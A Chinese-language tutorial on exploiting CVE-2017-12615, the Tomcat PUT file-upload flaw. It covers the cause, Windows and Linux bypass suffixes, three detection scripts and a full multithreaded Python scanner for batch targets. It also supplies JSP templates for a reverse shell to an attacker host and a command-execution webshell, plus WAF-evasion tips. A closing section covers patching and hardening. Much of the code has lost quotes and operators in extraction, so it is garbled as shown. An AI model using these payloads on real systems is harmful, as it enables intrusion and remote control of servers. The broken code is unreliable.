CVE-2017-12615实战:3种自动化检测脚本对比与Python POC编写指南
CVE-2017-12615实战3种自动化检测脚本深度评测与Python POC开发指南在Web应用安全领域Apache Tomcat作为广泛使用的Java应用服务器其安全性一直备受关注。2017年曝光的CVE-2017-12615漏洞因其特殊的利用方式和严重后果成为渗透测试人员必须掌握的重点漏洞之一。本文将深入分析该漏洞的技术原理对比评测三种主流自动化检测脚本的优劣并手把手教你开发一个功能完善的Python POC工具。1. 漏洞原理与技术背景让我们先理解这个漏洞的核心机制。CVE-2017-12615本质上是一个由于不安全配置导致的文件上传漏洞其特殊之处在于利用Tomcat处理PUT请求时的特性实现JSP文件上传。关键点解析DefaultServlet与JspServlet的分工DefaultServlet处理静态文件请求支持PUT/DELETE方法JspServlet处理JSP/JSPX动态请求不支持PUT方法漏洞触发条件init-param param-namereadonly/param-name param-valuefalse/param-value /init-param当web.xml中readonly参数设为false时攻击者可通过PUT方法上传文件Windows环境下的绕过技巧文件名后添加/如shell.jsp/利用NTFS文件流特性如shell.jsp::$DATA文件名后添加空格如shell.jsp%20技术提示在Linux环境下只有添加/的绕过方式有效而Windows支持多种绕过方式这使得Windows服务器面临更大风险。2. 三种主流检测脚本横向评测安全社区针对该漏洞开发了多种检测工具我们选取三种典型实现进行深度对比2.1 基于requests库的检测脚本核心代码片段import requests def check_vuln(target): try: test_file test_{}.txt.format(random.randint(1000,9999)) url f{target}/{test_file} headers {Content-Type: text/plain} response requests.put(url, datatest, headersheaders) if response.status_code in [201, 204]: requests.delete(url) return True except Exception as e: print(f检测出错: {str(e)}) return False性能对比指标requests脚本socket脚本扫描器集成检测速度中等最快最慢隐蔽性较低高中等误报率5%2%8%网络适应性强中等强代码复杂度低中高2.2 基于原始socket的检测脚本原始socket实现虽然代码量较大但具有更好的隐蔽性和灵活性import socket def socket_check(target): host, port target.split(:) if : in target else (target, 8080) s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, int(port))) payload PUT /test_socket.txt HTTP/1.1\r\n payload fHost: {host}\r\n payload Content-Length: 4\r\n\r\n payload test s.send(payload.encode()) response s.recv(4096).decode() s.close() return HTTP/1.1 201 in response or HTTP/1.1 204 in response优势分析不依赖第三方库执行环境要求低可自定义TCP层细节绕过简单WAF检测性能最佳适合大规模资产扫描2.3 集成到扫描器的检测模块主流扫描器如Nuclei、Xray等都集成了该漏洞检测模板# Nuclei模板示例 id: CVE-2017-12615 info: name: Apache Tomcat PUT Method File Upload author: pdteam severity: high requests: - method: PUT path: /{{randstr}}.jsp/ headers: Content-Type: application/x-www-form-urlencoded body: %out.println(\test\);% matchers: - type: status status: [201, 204]扫描器集成特点通常作为漏洞扫描套件的一部分支持批量目标检测结果可集成到统一报告系统但自定义程度较低难以应对特殊环境3. 开发健壮的Python POC脚本下面我们开发一个功能完善的POC脚本包含以下特性多线程检测自定义Payload错误重试机制结果可视化输出完整实现代码#!/usr/bin/env python3 # -*- coding: utf-8 -*- import argparse import random import threading import queue from urllib.parse import urlparse import requests import colorama colorama.init() GREEN colorama.Fore.GREEN RED colorama.Fore.RED RESET colorama.Fore.RESET class TomcatScanner: def __init__(self, threads5, timeout10, retry2): self.threads threads self.timeout timeout self.retry retry self.queue queue.Queue() self.results [] self.lock threading.Lock() def check_target(self, target): test_name ftest_{random.randint(10000,99999)} payloads [ f/{test_name}.jsp/, # 通用绕过方式 f/{test_name}.jsp::$DATA, # Windows NTFS流 f/{test_name}.jsp%20 # Windows空格截断 ] for i in range(self.retry 1): try: for payload in payloads: url f{target.rstrip(/)}{payload} headers {User-Agent: Mozilla/5.0, Content-Type: text/plain} data %out.print(\TEST_OK\);% # 检测PUT是否可用 resp requests.put(url, datadata, headersheaders, timeoutself.timeout, verifyFalse) if resp.status_code in [201, 204]: # 验证文件是否真的写入 check_url url[:-1] if url.endswith(/) else url check_resp requests.get(check_url, timeoutself.timeout) if TEST_OK in check_resp.text: with self.lock: self.results.append((target, payload)) return True except Exception: continue return False def worker(self): while True: target self.queue.get() if target is None: break status self.check_target(target) print(f{target.ljust(40)} [{GREEN if status else RED}{VULN if status else SAFE}{RESET}]) self.queue.task_done() def scan(self, targets): # 创建worker线程 threads [] for _ in range(self.threads): t threading.Thread(targetself.worker) t.start() threads.append(t) # 添加任务到队列 for target in targets: self.queue.put(target) # 等待任务完成 self.queue.join() # 停止worker for _ in range(self.threads): self.queue.put(None) for t in threads: t.join() return self.results def main(): parser argparse.ArgumentParser(descriptionCVE-2017-12615 Tomcat PUT RCE Scanner) parser.add_argument(-t, --target, helpSingle target URL) parser.add_argument(-f, --file, helpFile containing target URLs) parser.add_argument(-T, --threads, typeint, default5, helpNumber of threads) parser.add_argument(-o, --output, helpOutput file for vulnerable hosts) args parser.parse_args() targets [] if args.target: targets.append(args.target) if args.file: with open(args.file) as f: targets.extend([line.strip() for line in f if line.strip()]) if not targets: print([-] No targets specified) return scanner TomcatScanner(threadsargs.threads) results scanner.scan(targets) if args.output and results: with open(args.output, w) as f: for target, payload in results: f.write(f{target}\t{payload}\n) print(f\n[] Results saved to {args.output}) print(f\nScan completed. Total vulnerable: {len(results)}/{len(targets)}) if __name__ __main__: main()关键功能说明多线程架构使用QueueThreading实现生产者-消费者模型可自定义线程数提高扫描效率智能检测逻辑尝试多种绕过方式/、::$DATA、%20二次验证确保不是误报内置重试机制应对网络波动实用特性彩色终端输出支持单目标和批量扫描结果可导出到文件使用示例# 扫描单个目标 python tomcat_put_rce.py -t http://example.com:8080 # 批量扫描并保存结果 python tomcat_put_rce.py -f targets.txt -T 10 -o results.txt4. 高级利用技巧与防御策略4.1 实战利用进阶自定义Payload模板def generate_payload(payload_typereverse_shell, paramsNone): templates { reverse_shell: ( % page import\java.io.*,java.net.*\ %\n % try { Socket snew Socket(\LHOST\,LPORT); InputStream is.getInputStream(); OutputStream os.getOutputStream(); BufferedReader rnew BufferedReader(new InputStreamReader(i)); String l; while((lr.readLine())!null) { Process pnew ProcessBuilder(l.split(\ \)).start(); InputStream pip.getInputStream(); int c; while((cpi.read())!-1) o.write(c); o.flush(); } } catch(Exception e) {} % ), command: ( % page import\java.io.*\ %\n % if(request.getParameter(\cmd\) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(\cmd\)); BufferedReader r new BufferedReader(new InputStreamReader(p.getInputStream())); String l; while((lr.readLine())!null) { out.println(l); } } % ) } payload templates.get(payload_type, ) if payload_type reverse_shell and params: payload payload.replace(LHOST, params.get(lhost, 127.0.0.1)) payload payload.replace(LPORT, str(params.get(lport, 4444))) return payload隐蔽性增强技巧使用延时执行避免触发防护系统将JSP代码编码为Hex或Base64模拟正常用户请求的Header4.2 企业级防御方案防御措施对比表防御层具体措施有效性实施难度配置加固设置readonlytrue★★★★★★★网络层WAF规则拦截可疑PUT请求★★★☆★★★运行时防护RASP检测异常文件操作★★★★★★★★补丁管理升级到Tomcat 7.0.81或8.5.20★★★★★★★文件监控监控webapps目录异常文件创建★★★☆★★★☆应急响应步骤立即禁用PUT方法检查webapps目录下可疑JSP文件分析访问日志寻找攻击痕迹更新Tomcat到安全版本重置服务器凭证和会话5. 漏洞研究延伸从技术演进角度看CVE-2017-12615这类配置不当导致的漏洞在Java生态中并非孤例。安全研究人员可以关注以下方向同类漏洞变种研究其他中间件的类似配置问题Windows/Linux特性在漏洞利用中的应用差异云环境下的新攻击面自动化检测优化基于机器学习的误报减少技术分布式扫描架构设计被动式漏洞探测方案防御技术演进基于行为的WAF规则文件完整性监控方案漏洞虚拟补丁技术在实战中我们经常发现企业虽然修复了主要漏洞但忽略了相关组件的安全配置。建议在完成漏洞修复后进行全面的配置审计和加固才能从根本上降低安全风险。